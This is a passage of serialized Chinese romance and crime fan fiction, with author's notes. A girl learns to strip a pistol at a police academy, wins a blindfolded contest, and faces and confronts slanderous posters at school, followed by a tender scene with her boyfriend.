松田春奈:“给我半个小时。时间一到,立马开始比赛。行了吧?” 两人这才满意地点点头。 松田春奈懒得浪费口舌继续对他们开嘲讽,拉着降谷零回到原地继续他们之前的动作:“分开枪支和弹夹之后呢?” 降谷零用巧劲一拧,把下一个零件拆掉:“之后再拆这里的激光瞄准器紧接着是枪管最后把扳机和板机簧取出来就可以了。” 等到拆分完最后一个零件,他问道:“看明白了吗?” 松田春奈点点头。 降谷零几下就把枪支又恢复成原状,放到她面前:“那你现在拆一个给我看看。” 在和松田兄妹相处的这段时间,他对于他们两人的动手天赋早有明确认知。所以他并不觉得这是什么为难人的事情。 兄妹两人早已脱离老天爷给饭吃的程度,直接进化成了老天爷追着喂饭吃的地步。 胆大心细,记忆力强悍。不仅可以理解理论层面的原理,还能结合实际灵活运用到具体操作中。 说不羡慕是假的。 旁边一直注意着两人动静的兄弟二人,相视一笑。 “哪有这么教人的?他自己会了,就以为人人都能理解吗?” “哥,你放心。这次比赛我赢定了。” “哼,想让我给这个黄毛鬼道歉,下辈子吧!” 松田春奈完全不知道隔壁两人的腹诽。 她的脑海里现在就像在播放影片一样,把降谷零刚刚所有的步骤都回放了一遍。遇到个别需要注意的环节,她还能放大脑海里面的细节,一一进行校准。 “其实你不用替我出气的。”降谷零看着她半天没有动手,一副漫天神游的样子,于是突然开口道。 松田春奈:“?” 松田春奈:“为什么这么说?你不想让他们给你道歉吗?” 也许是她脸上的疑惑过于明显,降谷零继续说道:“想。但是有时候会感觉没必要。” “即使他们因为种种原因给我道歉了,他们心里也不是那么想的。” 松田春奈感觉自己有点理解他的意思了。 如果不是真心实意的情感,那他宁愿不要。 “我因为头发的事情,从小一直被同龄人欺负。一开始还会因为这个动怒,跟别人动辄打架。但现在”降谷零淡然道,“我已经看开了。别人怎么想是他们的事。我能做的就是用实力把他们——” “压在脚下?”松田春奈立刻接话。 这个桥段她懂! 男频小说都这么写套路。 别说,莫欺少年穷和美强惨的标签还真是很贴合他。 降谷零失笑:“把他们压在脚下做什么?只要我一直是第一名,那他们就算再不爽我,只要想超越我,也得打起精神,想尽方法来追赶我。” 松田春奈啧啧称奇:“降谷哥,我原来一直以为诸伏哥才是最腹黑的。没想到啊没想到,你也是一个白切黑。怪不得你们俩关系这么铁,都是有原因的啊。” 降谷零诚恳道:“所以,不要有压力。呆会儿就算输了也没有关系——” 松田春奈:“!” “所以降谷哥,你是觉得我会输是吗?!”她瞪大眼睛,不可置信道。 明白自己又说错话了,降谷零开始后悔他刚刚为什么没把那些损友一块拽进来,他们在哪休息不是休息。 他苍白地解释道:“我不是这个意思。” 松田春奈的眼睛已然开始冒火,漂亮的瞳孔里闪着一簇一簇的小火苗:“我不要你觉得,我要我觉得。今天他们两个给你道歉道定了!” “管他们是不是真心实意的。结果最重要!” 说完,她抱着十二万分的热情火速沉浸到脑海复盘中去。直到确认自己完全理解了,这才开始一步一步地拆解起来。 降谷零说得确实没错,这把枪的确很适合她。这虽然是她第一次接触真枪,但她手上的动作却一点也不含糊迟疑。 虽然她的动作和他相比起来,比较缓慢。但是内行人一看就知道,她的动作虽慢却稳。只要多加练习,后期达到熟练拆卸不是问题。 刚刚还视她为无物的兄弟俩顿时噤声了。 高个子男生在一旁咬牙切齿,天赋狗什么的最讨厌了! 他的心顿时比柠檬还酸,老天爷,你给人开挂的时候为什么把他给落下了啊! “吧嗒”一声,松田春奈把扳机簧分离出来。看着散落一地的零件,她挑眉一笑。 “用时3分29秒。”降谷零给她竖了个大拇指,夸奖道,“比我当初厉害多了,我第一次拆枪的时候用了4分钟才搞定。” 矮个子男生听到他俩的战绩之后,神态从一开始像只昂扬的大公鸡,变成了淋了雨的落汤鸡。 闷不做声地开始给自己临阵磨枪。 第一次拆枪快代表不了什么,不过是运气好而已。能把接下来的比赛赢了才是重点。 他就不信,在短短半个小时之内,这个女生能进步那么大! ——15分钟过后。 好吧,他认错还不行吗! ! ! 丫的她到底是不是正常人类啊?确实不是什么枪械成了精,故意出来逗人玩的妖精吧? 一次比一次有进步当然是正常的。 但是! 怎么会有人每次进步都跟做了火箭一样夸张啊! 明明上一次拆枪还是108秒,下一次就变成39秒了? ! 这合理吗?这科学吗?确定没嗑药就能徒手做到吗? 他闭过眼去,不忍再看下去。生怕自己受到更大的刺激。 他忍不住开始怀疑,再这么下去,他真的能赢吗? 作者有话说: 感谢在2024-03-26 20:56:35~2024-03-27 23:57:02期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:木雕企鹅6瓶;独恋、孔子一米九1瓶; 非常感谢大家对我的支持,我会继续努力的! 第42章 当提前定好的倒计时走到了最后,在一片尖锐的警示音中,矮个男生还是准确地听到了来自降谷零给松田春奈的低声报时——“20秒。” 他顿时心下一凛。 他从小就被家里人带着去靶场玩枪,祖父家里甚至还有几把猎枪。所以他才这么自信,认为自己绝不会输。 然而就算是从小耳濡目染地接触,他拆枪的最佳纪录也不过是区区18秒而已。 听到松田春奈的成绩后,他的大脑开始飞速做算数,越算脸色越差。 按照她之前几轮的进步速度来看,在接下来的对决中超过自己已是板上钉钉的事了 到那时候,可就不单是自己一个人丢脸的事,而是连带着他哥一起 想到他哥的坏脾气,他情不自禁地打了一个寒颤。 他暗下决定。既然她天赋好,那呆会儿的比赛上,他就算临时加条件对她来说应该也不是什么大事了。 他咽了口唾沫,掌心的汗像是永不会干涸的泉眼,一直不停地在向外冒。为了缓解紧张,他在裤子外侧使劲地蹭了两下,努力给自己打气。 他努力说服自己,要怪就怪她自己吧,谁让她非要多管闲事呢。 松田春奈感觉自己今天状态奇好,手感绝佳。 虽然今天只是她第一次碰真正的枪,但她的双手却仿佛天生就知道零部件的位置一样。摆弄起来一点也没有滞涩感。 练到最后,她甚至开始怀疑,自己上辈子可能就是一支枪,所以这辈子才会对自己的同类这么亲切熟悉。 活动了一下手指,她自信满满地朝对面一高一矮的兄弟两人走过去:“那咱们现在就开始吧。” “且慢!”矮个子男生闭了闭眼,出声道,“比赛开始前,我要再加一项条件——” 他别过头去,不敢和松田春奈对视:“拆枪的时候,你和我都要闭着眼拆才行。” 降谷零立刻拒绝:“不行。” 虽然松田春奈天赋奇高,但毕竟她没有实操过这方面。况且蒙眼拆枪难度极大,和睁眼操作不可同日而语。新手如果没有训练过,上来直接这么硬拆很容易当场懵圈。 更别提她好胜心极强。 要是输给这么一个反复无常的人,恐怕也会对她的心理造成一定打击。 “既然是我和你之间的事,就不必麻烦旁人了。”降谷零看着高个男生,目光如炬,“比什么你随意,我都可以配合。” 松田春奈终于知道为什么他能和自己哥哥玩到一起去了。 在不自觉地惹人厌方面,两人都是满分选手。 真不知道其他几位是否也是如此。 高个男生被他这么一副居高临下,压根不把自己放在眼里的态度给激怒了。 “好。”他咬牙道:“那我就和你比蒙眼射击。你敢吗?” 降谷零微微一笑:“这有什么不敢的。” “在规定时间内,最先打完五发子弹,并且中靶最多的人获胜。” “我没有意见。” 射击室没有多余的布条供他们蒙眼。 降谷零环顾一圈,伸手解开上衣扣子,打算直接把校服蒙到脑袋上。 解到一半,原本呆在外面的其余人也一并进来了。 原本安静的射击室顿时热闹了许多。 松田春奈看到他们之后,终于松了口气。 她在听到两人比赛内容的第一时间,就给哥哥发了消息,让他们赶紧过来。就是担心万一他们蒙眼射击的途中出现什么意外,自己不知道怎么操作,这才紧急把外面的人给叫过来帮忙控场。 松田阵平打得浑身冒汗,整个人热气烘烘地,像个移动的大暖炉。松田春奈皱眉,嫌弃地站到石田百合旁边。 松田阵平不爽极了,感觉自己妹妹自从见到她未来室友之后,就总是过去黏着人家。对自己颇有些区别对待的意思。 鉴于现在外人过多,他强忍住了质问的心思。打算待会儿给她加训的时候,单独问个清楚。 高个男生虽然对降谷零有意见,但对于伊达航几人的人品却还是信得过的。 于是,诸伏景光负责吹哨,其余人则负责当裁判。这场比赛就这么凑合地开始了。 哨声刚刚吹响,降谷零便压着哨声开了枪。 第一声枪响过后,他稍微侧着耳朵辨了下方位,停顿了一秒左右。再略微调整了右手的角度后,一鼓作气连开了最后四枪。 当眼睛处于黑暗之中时,其余的感官便变得格外敏感。 高个男生大概是没想到降谷零竟然会这么自信,蒙眼射击的途中竟然也连能发。 一时间被耳边的枪声唬得分了心思,慌了神。担心自己超时输掉比赛,干脆赌了一把。他学着降谷零的样子,把最后的三发子弹也连发了出去。 松田春奈看着靶子上的弹孔,眼睛亮晶晶的。 她绕过去拽了拽哥哥的袖子,示意他——教练,我想学这个! “降谷零获胜!”萩原研二视力极好,都不用走到靶子面前数弹孔,抬头看了一眼,就大声说道。 高个男生一把拽下头上的制服,死死地注视着远处靶子上的弹孔。 2V4。 自己和他差了整整一倍的数量! “我赢了。”降谷零开口道,“道歉的话就不必了,只要你以后别再故意做些无聊的事就好。” 高个男生梗着脖子:“愿赌服输。我道歉!” “对不起。” 他艰难地说完之后,脖子和脸红成一片,也不需要等答复,直接头也不回地就走了。 矮个男生发现自己被哥哥留在了原地。他也不敢出声,只得默默往外移动,打算趁这群人不备,偷偷溜走。 没成想松田春奈并不打算放过他,她开口拦住他:“欸——你先别走,我还没和你比呢。” 矮个男生身形一僵。 只感觉对面的视线像探照灯一样,“唰”地一下聚焦在自己身上。 瓦数最亮的目光来自那位卷发的浓眉男生,他正恶狠狠地盯着自己,如同一只被冒犯到领地的大型野兽。 “哈…哈。当事人这不是都比完了吗,我和你就没必要再比了吧…” “就按你刚刚说得来,还是比蒙眼拆枪。” 松田春奈说得斩钉截铁,一点也没有回旋的余地。 松田阵平的目光瓦数更亮了,矮个男生被他盯得渐渐渗出了汗。 “你小子原来还想和我妹妹这么比啊。” “这不是那什么”矮个男生半天憋不出一句话,在一旁尬笑,“说明她的天赋好,所以我才这个” 松田阵平一抬手,打断他的解释:“既然我妹想和你比,那你就和她比比试试。” 形势比人强。 矮个男生看着这一圈人高马大的警校生。发觉自己是打也打不过,逃也逃不走,最后只得答应了下来。 松田春奈咧嘴一笑,顺手把降谷零解下来的制服系在了脑后。 不系不知道,一系吓一跳。 警校的制服和其他学校的比起来,用料更厚实,所以也更加结实耐磨。 松田春奈只觉得自己的脸被磨得生疼,完全不敢大幅度活动,瞬间坚定了速战速决的决心。 他们两人的比赛还是由诸伏景光来吹哨。 松田春奈按照刚刚的拆卸步骤,没有急于求成。她先用手快速摸了一下枪身,在脑内勾勒出立体结构后才动手。 仿佛是进入了一种玄妙的境界。 慢慢地,她耳旁的噪音都消失不见,只剩下清脆的拆卸声。 随着时间的流逝,她脑内的三维图也越来越清晰。 当她完成了最后一步,把复进弹簧取出来之后,仍然还觉得意犹未尽。一边复盘自己刚刚有没有错误,一边想能不能找出来最优解。 和自信的松田春奈不同,矮个男生却是越拆越慌。 一开始还好,随着细簌声和拆解声都消失不见时,他就手上的动作也随之乱了起来。 简直就是度秒如年。 等他摘下头罩的时候,发现松田春奈正笑眯眯地盯着他看。 他不可置信地问道:“你用了多久?” 松田阵平自豪极了,直接替她回答:“139秒。恰好比你快了20秒。” 矮个男生自闭了,内心很是复杂。他感觉自己就像是外出觅食的蛇,恰好在野外遇到了自己食物链的上方。 她不但要灭了自己,还要对自己进行惨无人道地深层打击。 石田百合赞叹道:“我原来以为你哥他们就已经够变态的了,没想春奈你的天赋更胜一筹!” “妹妹,以后来警校吧。凭你的能力,说不定你以后能成为东京区最年轻的警视总监!” 松田阵平拒绝得很干脆:“算了,警察这份工作不适合她。” “松田,这都什么时代了?”石田百合震惊道,“没看出来你竟然还有那种大男子主义思想——” “她喜欢钱多事少离家近的工作。”松田阵平淡定道,“你觉得警察符合这里面的哪条标准?” 石田百合梗住了:“钱也算是多吧。” 她想了想刚刚松田春奈请大家吃饭的豪爽姿态,不自信地说道。 萩原研二也不反驳。 他掏出手机,一本正经地念着银行刚刚给自己发来的补助款信息:“您尾号2333卡4月15日12 : 12分收入工资——” 松田春奈知道他们上警校开始每月都会有补助,但具体多少钱还不了解。 她看着面不改色念着自己银行卡余额的研二哥,面露同情:“这就是你们每月的补助吗?” 警校生们沉重点头,身上散发起一阵实质的怨气。 松田春奈怜爱之心顿时发作:“那我每周请你们去楼上的食堂搓一顿吧。” 石田百合一个大鹏展翅,直接把她拥入怀中:“春奈!从今天开始,你就是我亲妹妹!谁和你过不去,那就是和我过不去!” “唉唉,干嘛呢?说话就说话,别动手动脚的。”松田阵平妹控发作,实在看不下去了,走过去扒拉她。 矮个男生看他们无暇搭理自己,捧着自己破碎的自尊心走了。 看出松田春奈对枪械很感兴趣,石田百合立刻竞争上岗当教练。她拍着胸脯打包票,今天就想办法让她打到十环。 松田阵平刚想凑过去说些什么,就被伊达航一个用力,直接拽走了。 伊达航苦口婆心地劝说道:“松田啊,对女生不能跟得这么紧。” 其余人连连点头,异口同声:“就是就是。班长说得对。” 伊达航继续:“松田啊,听哥一句劝,女生也是需要自己的空间的,尤其是和同性相处的空间。” 其余人一脸受教:“班长说得对!” 伊达航看松田阵平听进去了,于是清清嗓子,一脸甜蜜:“我对娜塔莉就是这样做的,她对我这点就很满意。” 松田阵平半月眼斜视他:“那班长你是怎么知道女生需要独处这件事的?不会是被女朋友骂了之后才知道的吧” 说到最后,他不怀好意地笑了笑,一副抱胸看戏的姿态。 伊达航干笑几声,原地做了几下扩胸运动,转移话题道:“我觉得石田说得也有道理,春奈确实适合当警察。” 降谷零赞同:“目前除了体力稍弱点以外,她的其余各项能力都很突出。” 松田阵平沉默不语。 过了一会儿他才出声:“我可以去当警察,但春奈不行。” “说我自私也好,专制独裁也罢。我确实不想让她干这行。” “更何况,她现在还是个高中生,根本没有对未来职业的规划。” 诸伏景光:“那要是未来春奈想当警察呢?” 松田阵平:“她来考警校起码也是七年以后的事了。” “说不定那个时候我已经当上警视总监了。” 伊达航抽动嘴角,指了指远处正激动得蹦高的两姐妹:“相信我,凭春奈的双商,未来她的晋升速度说不定在你我之上。” 松田春奈没有打过枪,对石田百合口中的后坐力只有大概的理解,却并无真切感受。直到她开完第一枪之后,她揉了揉有些发麻的虎口,狠劲上来了。 她就不信自己控制不了这个难题! 石田百合对她的好胜心极其赞赏,把自己的经验毫不吝啬地分享给她。 比如“在对战的时候可以变换动作,尝试蹲或者趴”啊;比如“可以改变射击方式”啊;又比如“可以适当减少弹药或者安装制退器”啊。 松田春奈听得很是认真,最后发现技巧归技巧。这玩意儿只能锦上添花,无法雪中送炭。 归根结底,还是靠自身力量去抗才是最有用的。关键得想办法锻炼自己的手臂以及核心力量才行。 毕竟打铁还需自身硬。 好在她目前手里的这把自重轻,再适应了几枪之后,她很快就能调整好发力点,后面几发子弹连中靶心。 石田百合看起来比她还要激动,抱着她赞美个不停,彩虹屁像不要钱一样地往她身上撒。 连着好几轮都是满环,松田春奈对手里的小型手枪开始觉得不过瘾了。 为了能尽快把射击室里的所有枪械都用一遍,她也顾不上之前还在和哥哥生气,兴致勃勃地去找他制定新的锻炼计划。 松田阵平闻言高兴得很。他一点水也不放,真操实练地给她额外加训了一小时。 每当松田春奈想放弃的时候,他就在她耳边幽幽地画大饼:“现在已经能开冲锋枪了再坚持一下,马上就能开突击步枪了” 最后结束时,她感觉自己已经完全站不起来了,整个人能篡出一把水。她呈“大”字型地瘫在了地板上,双臂肌肉还在止不住地生理性震颤。 松田阵平:“在警校这几天,你每天都跟我这么训练。保管你们学校以后再没有人能打得过你。” “不用到以后,现在我就已经能打遍全校无敌手了。”松田春奈有气无力地吐槽,“只要我手里有枪的话。” 松田阵平没有理会她的冷幽默,仿佛被点醒了一样,静静地坐在她的旁边给她按摩放松。 * 周一早上刚一起床,松田春奈就立刻躺了回去。明明休息了一晚,她却还是觉得浑身酸痛。 尤其是双臂,又胀又麻。 昨天训练过度,尽管大家后来一直帮她按摩,但还是避免不了乳酸堆积的痛。 她呲牙咧嘴地伸了个拦腰,勉强洗漱完毕。在哥哥他们的护送下,一路无虞地到了学校。 松田春奈一动胳膊就疼,只得小幅度地冲他们晃了晃头,权当摆手再见,然后就转身进去了。 一路上她都在来回低头捶打自己的手臂,想让这股劲快点过去,完全没有意识到周遭同学对自己不对劲的态度。 “看,照片上的就是她!” “嘶——她还好意思来上学啊。我要是她,早就羞得转学了。” “就是就是!真不知道迹部SAMA看上她哪一点了。” 松田春奈对那些闲言碎语充耳不闻,压根没觉得和自己有半毛钱关系。等到她进了教室,发现大家看着她的目光充满了欲言又止,这才惊觉可能又出了什么自己不知道的事。 忍足侑士这个八卦精不在,她也拿不准周围同学的态度。打算去论坛上找找八卦,看能不能找出来点线索。 前排的女生忽然回头看着她,涨红了脸小声说道:“松田桑,我知道你不是那样的人。希望你不要因为通告栏上的消息而生气——” 松田春奈越听越糊涂,她不解道:“通告栏?上面有我的什么消息?” 前排女生打了个磕巴:“没没什么。反正上面贴得东西已经被我撕下来了,松田桑也不需要再去了解了。” 松田春奈看着她转头的动作之利索,像是身后被豺狼虎豹追赶一样,和她软妹的风格形成巨大对比,颇有些反差萌。 既然她都这么说了,那她也不再好奇,安心收下了来自同学的好意。 松田春奈转了下笔,觉得左不过是小岛健太搞得一些遗留问题。估计也成不了什么大事,也就没再在意,而是继续给自己按摩放松。 希望自己僵硬的双臂不会耽误自己的写字速度,从而影响到今天的测试成绩。 没一会儿,川岛花气呼呼地上楼了。 她几步跑过来,先是确认松田春奈的状态有没有受到影响。看着她神态自若,悠哉游哉的表情,也松了口气。 松田春奈看着她分明想和自己想说什么,但最后却又憋回去的神态,猜测道:“是学校的通告栏上贴了关于我的什么内容吗?” 川岛花根本不会掩饰自己的表情。 她瞪大双眼,满脸诧异道:“你都看到了?” 前排的女生听到这里,忍不住插话道:“可是我明明已经把那些东西都撕掉了,川岛桑到校的时候怎么会又看到了呢?” “欸——怪不得通告栏上有很多纸张没撕干净的痕迹。”川岛花摸着下巴,“上面都是些没有根据的猜测,我把照片和打印出来的东西都扔到垃圾桶了。” “还有照片?”前排女生小声惊呼道,她用双手捂住嘴巴,小声说道,“我看到的时候还没有照片,上面只是贴了揭发信。” 川岛花来不及多想,一脸认真地安慰自己的好朋友:“春奈你放心,我马上让人查这件事到底是谁干的。在冰帝,霸凌同学可是要被退学处理的。” 松田春奈若有所思:“照片上的内容是不是我去医院看病的事,以及我和不同成年男生的借位亲密照?” “春奈,你怎么知道的?”川岛花咬住嘴唇,试探道,“你知道是谁拍的你,对吗?” 松田春奈站起身来,觉得自己有必要下去亲眼看看到底是什么情况。 她点点头:“知道。不过偷拍我的那个人已经被我送进去蹲局子了。” 全班顿时一静。 万籁俱寂中,川岛花追问道:“是谁?偷拍你的是咱们学校的人吗?” 松田春奈能感觉到大家都在竖着耳朵偷听。 她根本不打算遮掩些什么,继续说道:“知道,是小岛健太。” 小岛健太平时在班里的形象还算不错。 他成绩拔尖,家境良好。人虽然有些冷淡,但也还说得过去。大家根本没想到平时不声不响的同学,竟然能做出这种事。 在扔下一颗炸弹似的消息后,她便转身若无其事地下楼了。 听着班级里延迟爆发出来的如开水般沸腾的讨论,她目光冷淡地直视前方,毫不避讳周围人的视线。 周一早上原本是个平淡无聊,让人无法清醒的时刻。但辅佐了她的八卦之后,她能明显感觉到目光之中充斥着的情感。 有担心的,有看笑话的,也有充满恶意的。 那些视线如同蛛丝,将她紧紧围绕起来,让她有些透不过气。 松田春奈站在通告栏前。 原本在前面围得水泄不通的同学,在看到她之后,也都默契地给她让开了一条道。 “松田桑,我知道上面的男生是你哥哥!我相信你,揭发信上写得肯定都是假的。”一个女生大声说道。 紧接着,人群中又传来了几道戏谑的声音—— “她有那么多亲生哥哥吗?没看着照片上有那么多不同男人吗?” “就是,还去了精神科看病。鬼知道她的第一是怎么来的。” “迹部知道他头上戴了这么多绿帽子吗哈哈。” “围在这里干什么?都散了都散了!”川岛花气喘吁吁地跑过来,拼命挤了进来,大声嚷嚷道,“跟踪偷拍的小岛健太现在已经进了局子,并且被冰帝退了学。要是有人想趁机霸凌无辜同学,最好想想冰帝的校规!” “你说是谁就是谁啊?!” “退一万步讲,她要是不做那些事,小岛也拍不到那些照片。” “谁说不是呢?估计小岛这是看不下去了,所以这才勇于揭发真相。” “男朋友是校董儿子就是了不起,连事实都能歪曲。” 松田春奈一目十行看着通告栏上的揭发信,怒火冲头,只觉得脑门一阵犯晕。信上一直在围绕自己的男女关系大做文章,写得简直就是一派胡言。不知道从哪里请来的三流写手,事实压根没有,揣测倒是很有一套。 她双手攥拳,骨节被捏得发白,手臂上传来的酸痛让她渐渐冷静下来。 不就是想看她笑话,看她崩溃吗? 如果这就是幕后黑手的真实目的的话,那她绝不会让他如愿! 松田春奈上前,“唰唰”几下撕掉上面的信件和照片。 纸张被撕碎的声音有些刺耳,她拿着这些垃圾,和围在自己周围没有离开,还想继续看乐子的人一一对视过去。 她的目光冷冽凌厉,带着股呛人的硝烟味:“对我说的话有质疑的人,可以过来当面问我,别躲在人群当中当缩头乌龟。” “我敢当着大家的面说这些事我没做过,你敢出来当着我的面质疑吗?” 她听声辩位的能力极好。说完,便对照着刚刚出声的方位看了过去。 那些不知出于何种目的,出言反驳她的人几乎都不敢和她对视。就算偶尔有一两位硬撑着抬头看她,但也坚持不了多久,很快就低下头去。 松田春奈无声地吐出一口气。 这第一战,算是她赢了,不知道接下来还有什么后招再等着她。 天色有些阴沉,太阳躲在铅灰色的云层后面,显得灰蒙蒙的。 乌云密布,暴雨将至。 她抬头看着不远处的监控,直觉告诉她,这只是个开始。 作者有话说: 宝宝们不好意思,隔了这么久才更新。前段时间突然感冒了,每天吃完药就想睡觉,脑子一片浆糊根本写不了东西,不过现在终于好多啦。希望大家都可以吃嘛嘛香,身体棒棒,健健康康,马内多多,快快乐乐。感谢在2024-03-27 23:57:02~2024-04-07 01:05:16期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:⊙_⊙ 32瓶;未鱼、llw 20瓶;L_x.ying 6瓶;棠梨1瓶; 非常感谢大家对我的支持,我会继续努力的! 第43章 自从松田春奈早上把通告栏上面的东西撕掉之后,上面便再也没有出现过她的照片和相关的信件。 也许是操控此事的人觉得,当事人亲历自己谣言时的表现过于无趣,不符合他的预期,便不再继续折腾了。 迹部景吾去监控室查母带时,被告知通告栏周围的监控都“恰巧”坏掉了,正在维修中。他不信邪,当即把当天全校的监控都拷贝下来,执意要从中找到行为可疑的人员,看到底是谁贴上去的。 接下来的几天,松田春奈一直在等第二只靴子落地。 诡异的是,却一直无事发生。 为了让自己不被没发生的事影响心情,她收起多余的心思,抱着关关难过关关过的心态,每天按部就班地按照哥哥给自己安排的训练表来加训。 上学,放学,被虐,休息。 就这么单调地循环往复。 风平浪静地过了几天后。 警视厅那边也传来了好消息——九鸟县的案子终于有了动静,刑警们已经将目标锁定,不日就能将其拿下。 松田春奈在得知这个消息之后,胃口大开,中午多吃了一盘甜点。 迹部景吾知道她最近一直处于内紧外松的状态,问道:“今天怎么这么高兴?放学后不用加训了吗?” 松田春奈雀跃道:“我大概很快就能从警校搬回家了。” 迹部景吾笑道:“那看来今天是个好日子,值得庆祝一番。” 他们两人最近都挺忙。 只不过一个是忙着搞身体素质,一个是忙着去到处排查校园里的可疑人员。只有中午在办公室吃饭的时候才能静静地说会话。 知道他没办法给自己隔空变出来礼物,松田春奈故意为难道:“那你打算怎么给我庆祝?” 迹部景吾起身做了个标准的绅士礼。 他将左手放于腰后,右手放于腹前,面朝着她微微低头。 他的校服从来都是量体裁衣,剪裁合身得体。更衬得他肩宽腰细,把倒三角的身材优势展现得淋漓尽致。 身高体长的人随便做什么动作都比一般人看起来更加赏心悦目。 他抬起英俊的面庞,眼神中带着一抹温柔:“你过来就知道了。” 松田春奈把手递过去,迹部景吾牵着她坐到沙发上。 他们的双手松松垮垮地交叠在一起,像是两根温柔缠绕的藤蔓,传递着无言的温暖。 迹部景吾:“上周日是你参与设计的盲盒玩偶系列上新的日子。最近事多,我猜你可能都忘了这件事了。” “我在官网上提前预订了一些,打算和你一起拆拆试试,看能不能把最后这一系列集齐。” 他英挺的眉头皱起,有些孩子气地吹了吹碎发。 迹部景吾抱怨道:“真搞不懂三井他们怎么想的,买个盲盒为什么还要有限购,每人每天才只能买10个。” 他看起来有些遗憾,把藏在旁边柜子里的盲盒拿出来,规规矩矩地摆在茶几上。 松田春奈失笑:“你不会一次性买了10个吧?” “当然!”迹部景吾随手拿起一个研究起来,“要是不限购就好了,量变才能引起质变,说不定一天之内就能把所有款式都集齐了。” 他说得很认真,像是在说众所周知的事实真理,一副天经地义的样子。 “这可是你第一次参与制作,多么有纪念意义,当然要ALL IN 。” 松田春奈拆着盲盒说道:“那要是今天没集齐呢?” “那就接着买呗。”迹部景吾说道,“我每天都定闹钟提醒自己去官网抢订,这几天已经陆续到货几十盒了,反正肯定能集齐。” 松田春奈欧气爆棚,当场拆出来了一个隐藏款——是一个金灿灿的天妇罗。 迹部景吾眼前一亮,把剩余的盲盒都往她跟前推:“今天你的手气好,你来拆。” 松田春奈看着他兴致勃勃围在自己身旁,忙里忙外地给自己递剪刀,如同一见到人类就开始疯狂摇尾巴表示友好的大金毛。 她笑了笑,把三井树三天之前就已经给她邮寄了食堂全系列玩偶的事情咽到了肚子里。 连续拆出了两个隐藏款,迹部景吾如同神婆附体,摇头晃脑地点评道:“由此可见,那些不好的事件已离你远去,以后伴随你终身的都将是好运连连。” 松田春奈拆了半天,觉得得额外加个彩头:“光这样拆多没意思。要打赌吗?” 迹部景吾很配合:“好啊,赌什么?” “就赌我手里的这个是哪个款式好了。”松田春奈说道,“猜对的人,可以向对方提一个要求。” 迹部景吾欣然答应。 松田春奈精挑细选了半天,最后按照直觉选了个拉面玩偶。 开奖之后,果不其然,她又猜对了。 迹部景吾点点头,煞有其事地继续说道:“看吧,我说得没错。春奈以后都是好运。” 松田春奈看着他想方设法地把那些祝福和自己的未来人生挂钩,内心像是塌陷了一角,潮湿温润的如同雨后的清晨。 她知道这些日子他也累得够呛,一个人掰成好几块来用。不但要给董事会施压,还要逐帧去查可疑人物,再加上课业和处理家族事务,一天恐怕也睡不了几个小时。 迹部景吾开玩笑道:“说吧,想让我干什么?不论是当跑腿还是代写作业,我都可以。” “那——”看着他眼下的青黑,松田春奈抿抿嘴唇:“你让我抱一下吧。” 迹部景吾愣住。 松田春奈解释道:“最近有点累,需要靠拥抱来充一下电。” 迹部景吾:“你想怎么抱?” 话刚说出来,他就感觉自己说错了。但这也不能怪他,毕竟他们几次算得上亲密接触的行为,其实都是她先主动先提出来的。 他主要负责顺从。 嗯,而且是内心满是赞同地顺从。 松田春奈看了看时间,然后定了个闹钟:“你就呆在原地别动,当我的抱枕就好。” 办公室的沙发高度和茶几并不不匹配。 他们刚刚为了拆盲盒方便,从沙发上挪下来,直接坐在了地毯上。 松田春奈把他的手臂伸展开,搭在背后的沙发坐垫上,然后顺势钻到他的怀里。 冰帝的衬衣质量很好,做工精良,质地柔软。 她的侧脸靠在上面没有任何的不适之感,和前几天警校制服的粗糙感受形成鲜明对比。 她只觉得身后的人肉靠垫很是舒适。衬衫包裹着他并不夸张的肌肉,不但有弹性而且还恒温,比世上最好的床垫还高端。 松田春奈像只猫一样,无意识地在迹部的脖子处蹭了蹭,而后满足地喟叹出声。 迹部景吾的嘴角控制不住地向上扬。 他小心地环住她的肩膀,右手慢慢落到她的小臂处,轻轻地顺着脉络给她放松僵硬的肌肉。 这一阵她兢兢业业,每天加训,活像头前面吊了只胡萝卜的驴。 累死累活,却也心甘情愿。 就算每天都做拉伸按摩,但也总有顾及不到的地方。最近她每天上课记笔记的时候,都会戴上一层痛苦面具。 迹部景吾看她没有拒绝的意思,继续轻柔地给她按摩放松。 他的手掌温热宽大,硬件设施一流,技术堪比绝佳的按摩师。按摩完小臂之后,他改换动作,由捏变拍,轻柔地拍打着她的大臂。 松田春奈被男朋友伺候得昏昏欲睡。 身后玫瑰的香气缓缓地向她袭来,渐渐地将她笼罩其中。 两人身上的气味相互侵袭,最后变得你中有我,我中有你。 她静静地靠在他的胸膛,享受着难得的清净。 一开始明明只打算闭眼休息一会就起身。但计划赶不上变化,由于她最近身心俱疲,难得放松之下,她最后直接睡了过去。 迹部景吾更是一点也不敢挪动了。 他低头看着女友在自己怀中轻轻地呼吸,身板一起一伏,格外可爱。 睡了一会儿,可能是觉得有点冷,她环抱着双臂,自动向热源靠拢。 他看着她不自觉地往自己怀里拱动,微微用力按住她的身子,像是在拥抱一层翻滚的海浪。 他环顾了一圈后,努力伸长胳膊,指尖发力,把沙发上的毯子拽了过来,披在了她的身上。 心愿达成之后,她睡得更舒服了,眉头中心簇起的小尖也随之消失。 迹部景吾继续拍打着她的手臂以及后背,像是悉心哄人入睡的长辈。 他把她散落的长发别到耳后,自娱自乐地摩挲了好一阵。 而后鼓足勇气轻轻地凑过去,在她的发丝上落下一个转瞬即逝的吻。 快得像是刚落到大地上,就消弭于无形的春雪。 无人知道它曾经来过这世上,除了自己。 作者有话说: 感谢在2024-04-07 01:05:16~2024-04-07 23:41:04期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:冷面小青龙1瓶; 非常感谢大家对我的支持,我会继续努力的! 第44章 九鸟县的案子在各方施压督促的情况之下,进展颇快。 该案一开始之所以一直查不出来东西,深挖之后才知道原来是因为当地黑警数量众多。上到警视,下到巡警,没有不贪,只有更贪。 当地警方成立的失踪案调查小组里更是全员恶人。 不但会向案件的幕后人员通风报信,而且还会故意释放错误证据来干扰其他兄弟区县刑警的办案思路。 好在各方抽调过去协助破案的警察都是经验丰富的老手。在有所察觉之后,他们一边继续和当地黑警虚与委蛇,一边绕过他们单独寻找线索。 大家心里都有数,能让这么多黑警想方设法遮掩的人,身份绝不会普通。 在各方警察不断的排查盯梢之后,他们终于确定了犯罪嫌疑人的真实身份——宫海一,即九鸟县县长的独子。 